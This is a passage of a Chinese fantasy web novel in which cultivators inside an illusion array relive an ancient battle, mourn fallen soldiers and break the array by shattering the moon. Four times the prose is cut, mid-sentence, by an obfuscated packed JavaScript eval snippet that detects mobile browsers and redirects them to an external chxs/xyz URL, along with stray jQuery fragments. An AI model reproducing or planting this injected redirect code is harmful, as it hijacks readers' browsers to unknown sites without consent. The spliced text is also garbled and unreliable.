“是以若是我们去了战场,便是历史再现在我们眼前。我们无法加以干预,那些刀剑也伤不了我们。不同的是,平野之战是幻阵的最后期限,死去的人最多,集结了最为深重的怨气,到时就算我们不会为武器所伤,怨气也会来攻击我们,那才是真正的危险,稍有不慎就会化为阵法的养料。这也是为何我们要赶在那之前找到阵眼。” “原来如此。”叶天舟摸着下巴,大致听明白了。 “所以你们早就知道了?”他又问梁惜因和重霄。 见梁惜因颔首,叶天舟捂脸道:“行吧,是我顾虑太多了。”他就说梁公子怎么会舍得让她遇到危险。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680374|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “叶仙友也是出于关心。”梁惜因宽慰他一句,随即对几人说:“我先前也在想,既是古战场中的幻阵,这关键之处一定离不开一个‘战’字。军营中既是找不到线索,去战场上说不定能有何意外发现。” “不错。”重霄赞同道。 “那我这腿也到了该好的时候了,”叶天舟猛地站起身,把梁惜因吓了一跳,“免得他们到时候打仗不叫我。” 其余三人:“......”你这担心实属多余。 时间很快到了后日,四十万大军在营前严阵以待,兵戈林立。盛字军旗随风漫卷、猎猎作响,银色铠甲在苍白的日光下折射出微芒,宛如一柄出鞘的利剑。战马无声,将士肃然,士兵的面上不带任何表情。在他们眼中,这只是参军以来又一场再普通不过的战役,是生是死皆由天定。 “出兵!”随着最前方的大将军举剑高呼,士兵和战马一齐列阵而行,一时有如雷声轰鸣、高山倾颓,连大地都被撼动了几分。白日当空,朔风夹杂着尘土,呼啸着从众将士间穿过,宛如在为他们送行。 梁惜因和重霄同乘在一匹马上,却无一人注意到他们。这场幻阵中的战役,已然开始了。 梁惜因起初很是新奇,这还是她有生以来第一次骑马。毕竟作为阵修,想去哪直接开个阵就行了。她身后的重霄想来也是第一次,双手生疏地握着缰绳,小心翼翼地将她整个人护在怀中。 梁惜因将手覆在了重霄手背上,触感冰凉。她微微侧过头,唇角微微翘起:“阿霄,等出了阵,我们再一同去民间草原骑马如何?” 重霄对她向来无有不应,闻言又凑近了些,与她额头相碰:“好,听姐姐的。” 叶天舟骑马跟在队伍后面,看着这二人的互动,不由咂舌道:“啧啧啧。”他突然就开始好奇对面杜昱的感受了,起码自己这还有个谢淳跟他一样多余。 此时的谢淳正跟在步兵后面。他作为军医,军中自然不会给他备马,更不会有多余的马匹给他。叶天舟得知后本想邀他同乘,就像梁惜因和重霄那样,但被谢淳果断拒绝了。 先不说一匹马能不能承受住两个大男人的重量,光是那副画面想想就很奇怪好吗! 大军无言前进着,乌云一般笼罩着这片大地,每一步都像是踏在人的心头。大盛全军出动,西朔的侦察兵自是早早发现了异状。等大盛的军队行进到西朔的军营前时,西朔已然是整军以待了。 大军止步,两方的将领彼此喊着话,梁惜因几人处在后方,听得不甚清晰。紧接着一声令下,士兵手持武器和圆盾,呐喊着向前冲去。在遇到他们几人时无不是视若无物,直接穿了过去。他们身下的马儿也只是乖乖立在原地,不受战场厮杀的影响。 想来也是,归虚阵是由阵中人的执念凝聚而成,他们的命运早已注定,不可更改。但除了人,阵中的其他生灵则都是由幻阵根据当时的场景幻化而成,是完全虚假的,自然能为入阵之人操纵。 55. 诈败 重霄驾马向前驶去,若这战场上当真有关于阵眼的线索,那也当是在两军交战的前线处。他们的马不受战局与士兵的影响,自是一骑绝尘,转眼便到了大盛军队的最前方。 “都给本将军冲!”冲杀的两军中,一道女声格外耳熟。 梁惜因循声望去,果见是燕明昭。相貌明丽的姑娘骑着高头大马,身着战甲,长发高束,手执一柄铁剑,身后猩红的披风随风扬起,尽显女将英姿。 当然,那些西朔兵没一个理她。 柳甫畅在她身侧骑着另一匹马,无奈地揉了揉眉心。他师姐这是当将军当上瘾了啊... 不用梁惜因示意,重霄就直接驾马向他们而去。看到他们二人后,燕明昭高兴地喊道:“师妹!梁公子!” “师姐!”梁惜因应声,“怎么不见杜师兄?” 柳甫畅给她指了个方向:“喏,那呢。” 梁惜因偏头望向那处,只见奋力厮杀的两军中,有两道身影十分格格不入,正是杜昱和叶天舟。两人各骑在一匹马上,手执长剑,打得有来有往。 “西朔人,敢犯我大盛!我今日便叫你有来无回!” “哼,口气不小!我看你是没尝过我西朔铁骑的厉害!” 两匹马也随着他们的动作在原地绕圈。叶天舟这回长了记性,在迎击的同时还不忘时刻注意着杜昱腰间的剑鞘,生怕他又像上回一样搞偷袭。 其余几人:“......” 梁惜因扶额,这两人也真是入戏太深。 燕明昭一言难尽地收回目光,显然是不打算再管他们了。 “对了,师兄呢?”她问梁惜因。 “大师兄在...”梁惜因也不知谢淳此时在哪,她向身后看去,“啊,来了,在那!” 谢淳就在他们身后不远处,他虽没有马,又在队伍末尾,但作为修士,想要快速到达前线,只需施些简单的小法术。 “事不宜迟,还是先分散开来,看能不能找到阵眼。”谢淳对几人说。 还得是大师兄啊,时刻不忘正事。几人纷纷应声,按他的话在战场中穿梭起来。 初时,梁惜因还满脑子都是阵眼。可随着战役的进行,她发现自己根本无法做到置身事外。 薄暮冥冥,将坠未坠的残阳给无边的原野披上了一层赤红。而比这赤色晚日更刺目的,是地上几要汇流成河的鲜血。万千将士的鲜血混杂在一起,直把大地上的黄沙也洇成了暗红色。 欲将血泪寄山河,去洒东山一抔土。 战鼓声、嘶吼声、兵器碰撞声直冲天际,空气中弥漫着硝烟与血腥气。不论是何身份,不论是出于何种原因来到沙场,此刻将士们的脸上都带着刻骨的仇恨,誓要杀尽面前的敌军。 纷飞的战火中,兵器刺破皮肉的声音是那般令人胆寒,不断有士兵倒下了就再也没能站起。无人在意他们的生死,只会有更多的士兵和战马踩着他们的尸体前行,直至将他们的身躯踏得面目全非。 刀剑和尸体横陈在大地上,梁惜因甚至能在其中看到不少熟悉的面孔。他们所乘的马不受任何阻碍的穿行于战场中,一时之间,这天地中除却她与重霄二人,仿佛就只剩下了厮杀与战火、仇恨与枯骨。 “啊——”又是一声惨叫传来,一名士兵的身躯直接穿过他们倒下,鲜血在半空中划出一道触目惊心的弧线。这血溅不到他们身上,梁惜因却好似能感受到那血的温热,能把人心灼出一个洞的温热。 史书上那一行行、一句句的白纸黑字叙说不了战场的阔大与苍茫,转述不出那些鲜血与死亡,更无法记下那些浴血将士的名姓。 梁惜因只觉胸口一阵阵地发闷。幻阵又如何,当如此多的伤亡上演在眼前时,无人能不为此动容。 “姐姐,要不我们先回去?”重霄的声音在她耳畔响起,瞬间就将梁惜因拉回了现实。 “不,”梁惜因摇头,抿唇道:“找阵眼要紧。” 只有找到阵眼、破除幻阵,被困于此的生灵与执念才能真正得到解脱。 天色不知不觉地暗了下来,一轮圆月悄然升至空中,清莹的月光如梦似幻,却洗不净大地上的血火与仇怨。 正如大盛将领计划的那样,此战大盛军全面溃败,被西朔军撵得仓皇而逃,一如丧家之犬。重霄和梁惜因不紧不慢地跟在军队后面,梁惜因本以为到战场上能有什么不一样的发现,结果却还是一无所获,不免有些沮丧。 重霄温声安慰她:“姐姐,还有时间。就算当真找不到阵眼,我也能保姐姐平安无事地出去,大不了入阵再来一次。” 梁惜因回头看他,调侃道:“你也不嫌麻烦。” “只要能与姐姐在一起,做什么都是极好的。”重霄注视着她的眸子,认真说道。 此时大盛幸存的士兵已全部回到了军营中,西朔军虽大获全胜,但也受了损失,没有再追上来。两人没有惊动任何人,把马送回了马厩,往重霄的营帐中走去。 营中不复前几日的肃穆严整,处处都是伤兵痛苦的呻吟,愁绪与悲愤给整片军营笼上了一层绝望的灰色。毕竟为了骗过西朔人,使得这次的战败更为真实,只有军中的将领和一部分精锐士兵知道这是诈败。 为保留实力,这些精锐部队也都是随意打打就佯装不敌撤到后方去了,让那些毫不知情的士兵在将领故意破绽百出的指挥中去与敌军拼命。 梁惜因知道,这些全都是为了以后得胜而做出的必要牺牲,任何一场战役的胜利都是由无数士兵的白骨堆累而成。 一将功成万骨枯。 可她心中还是止不住的感慨,这些也都是活生生的人命啊。 经过军医营时,帐内帐外挤满了伤兵,营中所有的军医都忙得团团转。梁惜因毫不意外地在其中看见了谢淳,几日下来,大师兄给人包扎的手法肉眼可见的娴熟了不少。 他们几人已把苏柚给的治外伤的药全都交给了谢淳,也是希望能帮这些伤兵减少些痛苦。 “梁校尉,梁姑娘。”熟悉的声音响起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694287|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁惜因顺着声音传来的方向低头,就见叶天舟蹲在帐外。他看上去已蹲了很久了,站起身后还有些摇摇晃晃的。 “叶公子。”梁惜因也唤了他一声,且很是意外地在他面上看到了愁苦的神色。 叶天舟并未多言,只是垂下了眸子。梁惜因心头莫名一跳,也随着他的视线看向地面。 地上坐着的一众伤兵之间,突兀地躺着几具尸体。一般军营中的尸体,要么是随军回来后却重伤不治,要么是有人愿意拼死将死在战场上的战友带回。 借着月光和营中的火把,梁惜因看清了她脚旁那一具血肉模糊的尸身。这尸体胸前的伤口深可见骨,面上糊满了鲜血与泥沙。梁惜因辨了好一会,才不确定地启唇问道:“这是...阿越?” “对,”叶天舟嗓音发涩,“是严哥把他从战场上带回来的。” 梁惜因这才注意到坐在这尸体旁的人,他的整条右臂都不见了踪影,脸上的血痕几乎盖住了半张脸。她认出了这是严伯山。 察觉到她的视线,严伯山扯出一个笑来:“那能怎么办,总不能就让这小子留在那吧。拿一条手臂换把人带回来,不亏!”他很是爽朗地说。 严伯山用仅剩的左手将阿越脸上糊着的发丝拨到一边,动作轻得像是生怕惊醒他,声音也放得极低:“这小子,真是死了也不让人省心,还说自己不是小孩...” 他说着说着就哽住了,许是意识到阿越永远也长不大了,永远地停在了十四岁这一年。十四岁,多好的年纪啊,他十四岁那会还在家里跟着阿爹学杀猪呢,哪能料得到日后的西朔南侵,山河破碎? 他甩了甩手,勉力对他们笑道:“这下回去要学着用左手杀猪了,还得请弟兄们吃饭呢。” 只是这次没有人应声高呼了。一片沉默之中,严伯山渐渐敛了笑意。这几场仗打下来,又有多少人能活到那时候呢?连他自己都说不定什么时候就命丧沙场了。 梁惜因默然,她有意说些什么,可双唇好似被封住了,让她张不开口。 视线移向阿越旁边的另一具尸体,这次她很快就认了出来,是薛恒。他面容平静,只沾了些星星点点的血迹,而身下却是暗红一片。 梁惜因细看了看,那血是从薛恒腹部流出的,已隐隐有些干涸了。他手中紧紧握着一样东西,梁惜因仅从那东西露出的一角便能认出,那正是她此前已见过好几次的平安符。 一名伤兵注意到了她的目光,主动说道:“薛兄在作战时受了重伤,强撑着与大伙回了营,但还是因血流得太多而...” 他没有再说下去,但已然足够了。像薛恒这样耗尽最后一口气回到军营的士兵不在少数,哪怕是死,他们也想死在一个熟悉的地方,而不是烂在那尸骨无数的战场上。 梁惜因无言凝视着薛恒腹部的伤口,他在马上向着大盛的方向疾奔时会想些什么呢?是否会忆起那位他答应了打完仗就要迎娶的心上人? 只是这天意终究难测。不闻陵州曲,不见征战人。 56. 胜负 不知是谁哽咽了一声:“我想回家,我不想打仗了...” 这一声有如平湖落石,这些伤兵再也压抑不住心头翻涌的情绪:“好疼啊,真的好疼,我想我娘了。” “昨天他还与我一道吃饼呢,怎么今个说死就死了呢。” “战争...真的有结束的那日吗?” 有些士兵更是直接哭出了声,也无人觉得这有何丢脸的,他们只是...太想家了而已。既是参了军,他们自是早就习惯了打仗,可不管是此前哪一场战役,大盛都从未像今日输得这般惨烈过。 他们直到现在也不知这只是一场诈败,他们是真的以为大盛军难敌西朔,忧心战争结束的那日遥遥无期,更怕西朔会攻下大盛,让自己的家乡也化作一片废土。 在一片低低的哽咽声中,众人不约而同的仰头望向了天边的圆月。月色皎然,何人不起思乡之情? 战死的尸体静静躺在地面上,他们还算是幸运的,还有更多数不清的士兵却永远留在了那片战场上。 叶天舟复又蹲了下去。“叶公子?”梁惜因轻声唤他。 叶天舟抬头对她说:“梁姑娘,你先和校尉回去吧,我和弟兄们待会。” “...好。”不知是不是错觉,梁惜因总觉叶天舟和以前有些不一样了,但具体也说不上是哪里不一样。非要说的话...大概是更成熟了些吧? 她和重霄留在此处也没用,犹豫片刻后还是转身离开了。没走几步,梁惜因就见一处营帐外的火把下坐着一个人。 梁惜因很快认出那是余安明,他面色苍白,胸前包着的绷带透出些微血色,正借着火把的光亮整理着一些信件。 梁惜因踌躇少顷,还是让重霄先等她一会,自己则迈步向余安明走去:“余公子,你这是在...?” 余安明闻声望了她一眼,手上动作不停,也没直接回话,而是慢慢说道:“军中士兵多是贫苦人家出身,大字不识几个。他们若是想寄信到家中,或是家中之人来信,都会来找我,让我帮他们写或是念。时间长了,军中要寄出的信不管是不是由我代书的,都会先送到我这来,再由我一齐寄出去。这其中要是有人战死了,我也会替他们在信中提上一句,或者再写一封,寄到他们以往常寄的地方去,也省得他们家里人空惦念着。” 梁惜因明白了:“所以余公子是在将那些战死之人的信件分出来?” “没错,本是要等手头的信多了再寄的,这下有好些信又要添话了。”余安明苦笑着说,手中又翻出一封信来,神色微愣,“这是...薛恒的,他前日晚上才交与我,说是担心他那位姑娘收不到他的信,要再寄一封。” 他将这封信放到右手旁,叹了一声:“等我替他添上那句话再寄吧。” “不用寄了。”梁惜因突然说道。 余安明一顿,终是停下了手中的动作,怔怔地看向梁惜因。 “现在寄...也没用了。”梁惜因嗓音微涩。 余安明懂了她话中的未尽之意。他一手按在薛恒的那封信上,脸上的神情说不清是在笑还是在哭,眼中闪烁着泪意。他仰头对月长吟道:“古来征战几人回啊,几人回啊——” 因用力过度,身上的伤口受到牵扯,殷红的鲜血成团地在绷带上扩散开来。余安明轻嘶一声,拧眉捂住了胸口。 “余公子,你还好吗,要找军医来看下吗?”梁惜因连忙问道。 “不必,军医已经很忙了,多谢梁姑娘。”余安明婉拒道,“我在这待着就好。” 说完这句,他就不再开口了。梁惜因不欲再打搅他,便也放轻步子离去了。她转过身子,见重霄侧对着她,清泠泠的月光泼洒在他身上,更衬得他整个人长身玉立、姿容无双,像极了月下仙人。 梁惜因一见到他,就觉心中积郁的愁苦消散不少。她按了按眼角,拭去将落的泪,面上带笑地快步走过去,抬手轻拍了下他的肩:“阿霄,我们走吧。” “好。”重霄应道,极为自然地握住了她的手,却没有立刻迈步。 梁惜因好奇地顺着他的视线看去:“阿霄,你在看什么?” “我在看,今晚是个难得的圆月夜。”重霄这般答道,目光却已移到了梁惜因面上。 明月流光,无言地悬于夜空之上。梁惜因仰头望着,也不由弯了弯唇角,感慨道:“是啊,圆月难得。” - 西朔军中。 今日对大盛用兵大获全胜,军中将领无不欢庆,连夜小规模庆祝了一番。主帐之中,燕明昭正和一堆五大三粗的西朔将领们喝着酒,有了上次在幻阵中喝醉的教训,她这次也没敢饮太多,喝了两碗后就顾着吃菜去了。 西朔大将军坐在最前方的主位上,举起碗对众人大笑道:“今日之胜,在座诸位都有功劳,来,干!” “干!”底下的将领们齐声高呼,将碗中的酒一饮而尽。 混在其中并且偷偷倒掉了半碗酒的燕明昭:“......”好生心虚。 待一碗饮尽,大将军又正色说:“不过这只是打了一场胜仗而已,各位切莫放纵过度,以免误了几日后的出兵。” “啊?又要出兵啊?这不才打完吗?”有将领忍不住说。 “傻啊你,就是要趁这时大盛军元气大伤,才能攻其不备啊。”另一人代大将军答道。 发问的那人恍然大悟,顿时恭维起大将军:“大将军英明!下次出兵,势必能一举拿下华州城!” “大将军英明!” “天佑我西朔!” “拿下华州城!” 燕明昭环视了一圈,每个将领的脸上都带着酒后的酡红,他们高呼着碰碗,深信不疑西朔军会取得最后的胜利。 她心中微慨。该说不说西朔人头脑简单呢,他们难道完全就没怀疑过这是大盛军的计谋吗?或许有人想到了,只是不想破坏席间的气氛,所以没在这时说出来。 但无论如何,这场平野上的战争已进行得够久了,也到了该结束的时候了。 主帐外,柳甫畅和杜昱已经是第三次状似无意地路过了。两人同时往帐中望去,杜昱在看里面喝酒吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704047|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉的众将领,柳甫畅则将目光锁在了那唯一的女将军身上。 等走得看不见帐中景象后,杜昱由衷说:“还是当将军好啊,下次能不能让我也弄个将军当当?” 柳甫畅幽幽道:“你还想有下次?” 杜昱:“......” “算了,不当了。” 走出一段距离后,两人再次折返,守在主帐外的两个西朔兵终于忍无可忍地道:“你两干啥呢?在这晃来晃去的。” 杜昱和柳甫畅闻言,立马四下张望起来,一同说道:“我俩看风景呢,看风景。” 西朔兵:“......” “大半夜的看什么风景?是不是有病?还不快走,再不走我就带你们两人进去见将军!”西朔兵拿手中长枪指着二人。 什么?见将军?还有这种好事?柳甫畅听后还想往主帐处走,杜昱赶紧把人拉住了。这家伙,耳背也不是这么个耳背法啊! 把人拉回来后,他对那两名西朔兵赔笑道:“我们这就走,这就走。” 这大晚上的,在军营中除了睡觉也无其他事可做,杜昱便往他们住的营帐中走去。柳甫畅也意识到自己刚才差点犯错了,一言不发地跟在杜昱后面。 杜昱听不到他声音,于是回头望了他一眼,见他神色不明地低着头,更加确定自己心中的想法了——这柳兄定是还在想着他那师姐!这般想着,杜昱意味深长地盯了柳甫畅好一会,随后摇头晃脑地收回了视线。 柳甫畅:“?”你没事吧? 他们在阵中的身份只是普通士兵,住处自然也只是多人睡在一起的大通铺。柳大少爷在刚来时极为不乐意,直言从没住过这么差的地方,只睡了一晚就跑去燕明昭面前诉苦了。 杜昱至今也不知这两人在那日到底说了些什么,只知道自那天过后,柳甫畅每晚都会在其余人都睡了后偷偷溜出去。 他之前实在是好奇,便问他晚上去哪了。 柳甫畅扬着下巴,自得的对他说:“去我师姐那打地铺了。” 杜昱:“......”他就不该多嘴问。还有为什么你打地铺能打得那么高兴?这也没比大通铺好多少啊! 他实在理解不了。 往日这个时候,士兵们大多都已睡熟了。今日估计是刚打完一场仗,帐中的士兵们全都尚无睡意,各自坐在自己的铺上。 帐内弥漫着淡淡的血腥气,有些士兵正给自己包扎着伤口。西朔虽然胜了,但只要是作战,就免不了伤亡。 帐中本有不少人都看不起柳甫畅的身份,不过自那日燕明昭为他出头后,这些人认定他是受了将军的赏识,对他的态度立马来了个大转变。此刻见他们进来了,不少人都招呼道:“柳兄和杜兄回来了啊!” 柳甫畅淡淡点头,走到自己的铺前,面带嫌弃地坐下了。杜昱大大咧咧地躺在了紧邻的铺上,说道:“诶呦,这一天下来,可把我给累得。” 柳甫畅:“......”你干啥了你就累?好像只是跟叶天舟打了一架吧?而且你以前也没少干这事吧? 57. 破阵 有士兵接道:“可不是,这一天天的,什么时候是个头啊。” “也不知王上好端端地干嘛要和大盛打仗,哥几个之前在西朔不都过得很好嘛。这下上了战场,保不定哪天脑袋就掉了。” “唉,谁知道上头那些人是怎么想的。把大盛打下来又能怎样呢?咱不还是照样回老家过日子。” “快了,大盛快撑不住了,等再赢几场就能回家了。我也不去想什么靠军功当大官了,能活着就行。” “要不是没办法,谁又想在这卖命呢?打了这么久,也不知我媳妇怎么样了。” 这些士兵与王族和将领不同,他们大多数人都没有那么多的野心和抱负,其中更是有很大一部分是被强征入伍的。他们只想在这战火连天的年头中活下来,然后回家。能打胜仗,他们心里头自然也高兴,不是高兴西朔的铁骑能踏破中原,而是自己又活下去了一天、距回家的日子又近了一分。 这世上没有人会喜欢打仗的。 分明是打了胜仗,却无端惹起了帐中士兵的怅惘与苦闷。因着明日还要照常训练,西朔兵们也没聊多久,待所有人都把伤口处理好后,就熄了烛火睡了。不一会,营帐内就传来阵阵如雷的鼾声,柳甫畅拍了拍一旁的杜昱,低声道:“我走了,杜兄。” 杜昱:“...快走不送。” 越临近最后关头,幻阵中的时间流逝得就越快,这看似漫长的夜晚实际很快就会结束。柳甫畅也不是不能再忍几日,但即使是这般短暂的夜,他也想和燕明昭待在一处。 寂静的军营中,只有他一人在火把的微光下走着。头顶的圆月慢慢西沉,新的一天又将到来了。 - 接下来的几日里,梁惜因几人继续找着阵眼。一旦觉得什么物件可能是,便先用破阵之术试一下,军旗、战鼓,乃至是大将军本人。这一番试下来,叶天舟已经麻木了:“谢仙友,你说这阵会不会根本就没有阵眼啊?这也太难找了吧。而且我们现在连阵眼到底是在大盛还是西朔都不知道。” “不可能,”谢淳很快否认道,“所有归虚阵都存在阵眼,就看入阵之人能不能找得到。有些阵眼甚至隐蔽到要入阵十几次才能发现。” “那不就是纯靠运气嘛。”叶天舟小声吐槽。 “今日是最后一日了,晚上西朔军便会趁夜打过来,但阵眼还没找到,所以我们需做好两手准备。”谢淳继续说,“若能寻得阵眼,那自是再好不过。若是寻不到,就要换另一种方法强制从阵中出去了。” “什么方法?”叶天舟问。 “我会另布一个逆源阵,此阵与归虚阵相克,能将我们几人送出去。只是到时阵中怨气定会全力向我们几人袭来,怕是还要麻烦叶仙友掩护我们一时半刻。” “这有什么,包在我身上。”叶天舟拍着胸脯,“不过你们阵修要记的东西也太多了吧,什么这个阵那个阵的,想想我就头疼。” “习惯就好。”梁惜因轻笑道。 商议完后,午间休息的时间也恰好结束了,重霄去训练场练兵,梁惜因三人则继续去找东西试阵眼。在路过训练场时,梁惜因私心停下了脚步,在一处角落遥遥望着场上那个她再熟悉不过的身影。 几日下来,重霄别的不提,于练兵一事上倒是越发得心应手,越来越有军中将领的风范了。她含笑望了会他,又将目光移向场上正在训练的士兵。 她此前也不是没看过士兵训练,却从没见他们这般认真过,一招一式都用足了劲,仿佛只有这样才能纾解他们心中的仇恨。他们已经知道几日前的那场败仗不过是诈败,也知西朔人极有可能会在这几日再次攻过来。而即将发生的这一仗,对大盛至关重要。 胜,则可一报西朔南侵、烧杀劫掠之仇;败,则再无力抵挡西朔进攻之势,华州城也将沦于敌手。 他们自是恨西朔人的,恨西朔人踏碎了这么多年来两方的和平,也恨西朔人杀死了那么多军中将士和无辜百姓。这些士兵无法去埋怨将领的决策,只能等着在接下来的一战中将西朔兵一网打尽,为那些死去的弟兄们报仇。 眼前的场景骤然模糊了一瞬,待再度清晰后,训练场上的士兵已全部消失了,天色也暗了下来。重霄像是早就预料到了,并无诧色。他正转身欲走,余光却瞥见了站在不远处的梁惜因,顿时面色一霁,几步便走到了她面前:“姐姐,你是来看我的吗?” “是啊,来看我们阿霄练兵。”眼下时间紧迫,梁惜因未再多言,而是说:“走吧,先去找大师兄他们会合。” 军中的探子已探得西朔正整兵向大盛军营而来。此刻大盛的军营看似夜深人静,只余几支火把在夜风中摇曳着微弱的光,但实际上所有士兵都已全副武装的在帐中候着,只待西朔兵一到,便冲出去与他们决一死战。 梁惜因在军医营外发现了谢淳和叶天舟二人,谢淳已在准备布阵了,见他们来了,说道:“此阵规模非同小可,你我皆是第一次入阵,找不到阵眼也实属正常,先安全出去再说。” 梁惜因微微蹙眉,幻阵存续一日,里头的神魂就一日得不到超脱。“还未到最后关头,再分头去找找吧。”她提议道。 谢淳点头:“也好。但你们莫要逞能,找不到便尽快回到此处来。” “好。”梁惜因应声,率先转身走了。 叶天舟本也要走向另一个方向,见重霄还站在原地,眼含笑意地望着梁惜因离去的方向,不由问道:“梁公子,你不跟上去吗?” “不用。”重霄声音不高,语气却很是坚定,“她会找到的,我信她。” 叶天舟看着他,一时也被他的话所染,陷入了迟疑:“...是吗?” 谢淳布阵的动作不停:“不论如何,还是要做好万全的准备。” 梁惜因奔走在军营中,路上遇见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720782|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的几个士兵全都如看不见她一样,直接从她的身体穿了过去。梁惜因知道,从夜幕降临之时启,这场最后的平野之战就已拉开序幕了。 梁惜因飞速思索着。若是他们几人对阵眼有头绪,那谢淳也不必冒着危险以阵破阵,但这总比在原处等西朔军攻过来要好。 承载阵中将士们最深的情感、军营中最不同寻常之处...会是什么呢? 军营中静得可怕,一如山雨袭来前的滚滚浓云,给人以一种沉沉的压抑感,唯有天上的圆月为她的前路洒下一捧皎皎银辉。 等等,梁惜因猛地止住了脚步。她抬起头,只见天上的明月一如前几日那般洁白浑圆,毫无变化。可月有阴晴圆缺,怎么可能一直是圆的? 心跳愈来愈快,几乎要撞破胸膛。她知道他们此前把什么忽略掉了,原来答案一直离他们这么近,甚至可以说是就在他们眼前,太简单了... 若她记得没错,平野之战发生的那日正是农历十五,恰好也是个月圆之夜。正是这枚月亮,见证了平野上的战局反复,寄托着这几十万将士对亲人和故土的思念,无数悲欢离合都在它面前上演。 圆月圆月,又何尝不含着这些将士对安宁时日的向往?无论是大盛还是西朔,无论来自何方、身处何地,头顶的这轮明月都亘古不变,长长久久地悬于夜空之上,照破了万古长夜,也照在了无数人的心间。 今人不见古时月,今月曾经照古人。 他们此前只关注军营中的人与物,竟是全然没有往这方面去想。 耳边兵戈骤响,西朔军的铁蹄已然逼近,帐中的士兵早就整戈待动,战争一触即发。梁惜因不再犹豫,抬手将指尖蕴出的灵力释放向那轮满月,在口中默念着破阵法诀。 与此同时,在西朔军即将攻入军营之时,大盛将军一声令下,无数身着铁衣、手持武器的士兵从营帐中冲了出来,迅速列阵,直打了西朔军个措手不及。 数不清的士兵从梁惜因身侧跑过,或是直接穿过了她,他们呐喊着、冲杀着,每一个人的脸上都带着滔天战意。她看见独臂的严伯山高举手中铁剑,奔在队伍最前方;也看见了余安明嘶吼着冲向西朔兵,全然看不出书生的模样。 在一片滚沸的厮杀声中,天上那轮再圆满不过的月亮从中间出现了一道裂缝。紧接着,裂缝扩大,这一整轮不染凡尘的明月迅速变得千疮百孔起来。 下一刻,明月骤碎,同时被打破的还有幻阵,眼前的一切景象都如潮水般退去。所有将士的动作都在一瞬间定格了,他们还维持着向前砍杀的姿势,眼中凝着刻骨的仇恨。 但所有这一切很快就彻底消散得无影无踪,天地重归寂静。 黑暗上涌,周围的一切都在消散,唯有身后传来的声音是如此真实:“姐姐,你找到阵眼了。” 梁惜因回头,只见重霄立在一片支离破碎的幻影中,向她张开了双臂。 58. 意外 “阿霄!”梁惜因提裙小跑过去,笑着拥住他。 重霄一手放在梁惜因腰际,一手按在她的后脑,柔声唤道:“姐姐。” “不是,我这好不容易骑马跑到你们大盛这来,咋突然就出来了呢?”杜昱的声音在此时分外突兀地响起。 梁惜因这才想起还有其他人在,连忙和重霄拉开距离。她面上隐隐有些发烫,也不去理会重霄那含笑的目光。 另几人对此早已见怪不怪了,叶天舟上前一步,佩服地对她说:“厉害啊,梁仙友!” “是我家师妹破的阵?”燕明昭一把推开叶天舟,挤到了梁惜因面前。 叶天舟:“......” “这些容后再说,先布渡灵阵,净化被困在阵中的怨气!”谢淳高声喊道。 此阵极为庞大,破阵后的幻象也需一段时间才能完全消散。而一旦幻象彻底消失,那些在阵中积压了数个日月的怨气便会疯狂扑向周围最近的活人,如不能及时压制度化,还会危及附近的百姓。 众人顿时不再多言,先把金光护体符给自己用上了,免得怨气入体。梁惜因几人站在不同方位捏诀布阵,杜昱和叶天舟抱剑站在一旁,以防意外发生。 果如他们所料,在所有幻象都消失殆尽的那一刻,凭空出现了铺天盖地的怨气,张牙舞爪着向他们涌来。这些浓郁的黑雾翻滚着、缠绕着,饱含绝望的气息,多得令人一时分不清阵外是白天还是黑夜。 几人合绘的渡灵阵也将要完成了,从不同方位延伸出的金线闪着同样的微芒,眼见着就要合到一处。就在这时,大地突然震颤起来,数百道溢着光的符文骤然出现,不由分说地袭向他们几人。 这是任谁都没有预料到的场景。符文的速度极快,众人俱是一惊,纷纷闪身躲避,即将成形的渡灵阵在瞬间溃散开来,金线重又化为乌有。汹涌的怨气似是察觉到了这一点,更加肆虐地朝他们涌来。 